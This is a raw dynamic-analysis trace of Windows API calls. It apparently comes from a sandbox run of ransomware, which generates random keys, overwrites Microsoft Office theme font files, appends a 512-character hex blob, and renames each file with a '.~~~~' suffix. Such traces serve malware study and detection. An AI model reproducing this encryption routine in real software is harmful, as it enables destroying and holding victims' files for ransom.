	[0123.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6bf8
	[0123.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6bf8 | out: hHeap=0x300000) returned 1
	[0123.169] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.169] GetLastError () returned 0x0
	[0123.169] GetLastError () returned 0x0
	[0123.169] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.170] GetLastError () returned 0x0
	[0123.170] GetLastError () returned 0x0
	[0123.172] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff10b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.173] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xef5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xef5, lpOverlapped=0x0) returned 1
	[0123.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.174] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.174] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.174] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.174] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.175] CloseHandle (hObject=0x120) returned 1
	[0123.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390aa8
	[0123.175] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.~~~~")) returned 1
	[0123.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390aa8 | out: hHeap=0x300000) returned 1
	[0123.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.186] GetLastError () returned 0x0
	[0123.186] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942f50) returned 1
	[0123.187] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.188] CryptReleaseContext (hProv=0x2942f50, dwFlags=0x0) returned 1
	[0123.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.188] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24317792059) returned 1
	[0123.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2e64ef0, dwHighDateTime=0x1d60e1e)) 
	[0123.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f480
	[0123.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f480 | out: hHeap=0x300000) returned 1
	[0123.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7138
	[0123.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7138 | out: hHeap=0x300000) returned 1
	[0123.188] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.189] GetLastError () returned 0x0
	[0123.189] GetLastError () returned 0x0
	[0123.189] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.189] GetLastError () returned 0x0
	[0123.189] GetLastError () returned 0x0
	[0123.191] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.191] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe16, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xe16, lpOverlapped=0x0) returned 1
	[0123.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.192] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.192] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.192] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.193] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.193] CloseHandle (hObject=0x120) returned 1
	[0123.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x391798
	[0123.193] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.~~~~")) returned 1
	[0123.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x391798 | out: hHeap=0x300000) returned 1
	[0123.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.194] GetLastError () returned 0x0
	[0123.194] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942f50) returned 1
	[0123.195] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.195] CryptReleaseContext (hProv=0x2942f50, dwFlags=0x0) returned 1
	[0123.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.196] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24318574846) returned 1
	[0123.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2e64ef0, dwHighDateTime=0x1d60e1e)) 
	[0123.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f4b8
	[0123.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f4b8 | out: hHeap=0x300000) returned 1
	[0123.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7138
	[0123.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7138 | out: hHeap=0x300000) returned 1
	[0123.196] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.196] GetLastError () returned 0x0
	[0123.197] GetLastError () returned 0x0
	[0123.197] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.197] GetLastError () returned 0x0
	[0123.197] GetLastError () returned 0x0
	[0123.199] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1d1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.199] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe2f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xe2f, lpOverlapped=0x0) returned 1
	[0123.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.200] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.200] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.200] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.200] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.200] CloseHandle (hObject=0x120) returned 1
	[0123.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6528
	[0123.201] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.~~~~")) returned 1
	[0123.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6528 | out: hHeap=0x300000) returned 1
	[0123.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.202] GetLastError () returned 0x0
	[0123.202] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942f50) returned 1
	[0123.203] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.203] CryptReleaseContext (hProv=0x2942f50, dwFlags=0x0) returned 1
	[0123.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.203] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24319330422) returned 1
	[0123.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2e8b050, dwHighDateTime=0x1d60e1e)) 
	[0123.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f4f0
	[0123.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f4f0 | out: hHeap=0x300000) returned 1
	[0123.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5e30
	[0123.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5e30 | out: hHeap=0x300000) returned 1
	[0123.204] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.204] GetLastError () returned 0x0
	[0123.204] GetLastError () returned 0x0
	[0123.204] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.204] GetLastError () returned 0x0
	[0123.204] GetLastError () returned 0x0
	[0123.207] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff24b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.207] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xdb5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xdb5, lpOverlapped=0x0) returned 1
	[0123.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.208] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.208] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.208] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.208] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.208] CloseHandle (hObject=0x120) returned 1
	[0123.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390aa8
	[0123.209] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.~~~~")) returned 1
	[0123.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390aa8 | out: hHeap=0x300000) returned 1
	[0123.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.210] GetLastError () returned 0x0
	[0123.211] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942f50) returned 1
	[0123.212] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.212] CryptReleaseContext (hProv=0x2942f50, dwFlags=0x0) returned 1
	[0123.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.212] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24320226130) returned 1
	[0123.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2e8b050, dwHighDateTime=0x1d60e1e)) 
	[0123.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f528
	[0123.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f528 | out: hHeap=0x300000) returned 1
	[0123.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7138
	[0123.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7138 | out: hHeap=0x300000) returned 1
	[0123.213] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.213] GetLastError () returned 0x0
	[0123.213] GetLastError () returned 0x0
	[0123.213] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.213] GetLastError () returned 0x0
	[0123.213] GetLastError () returned 0x0
	[0123.215] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff12c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.215] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xed4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xed4, lpOverlapped=0x0) returned 1
	[0123.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.217] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.217] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.217] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.217] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.218] CloseHandle (hObject=0x120) returned 1
	[0123.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5ae0
	[0123.218] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.~~~~")) returned 1
	[0123.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5ae0 | out: hHeap=0x300000) returned 1
	[0123.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.219] GetLastError () returned 0x0
	[0123.257] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.259] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.259] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.259] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24324935298) returned 1
	[0123.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2efd470, dwHighDateTime=0x1d60e1e)) 
	[0123.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
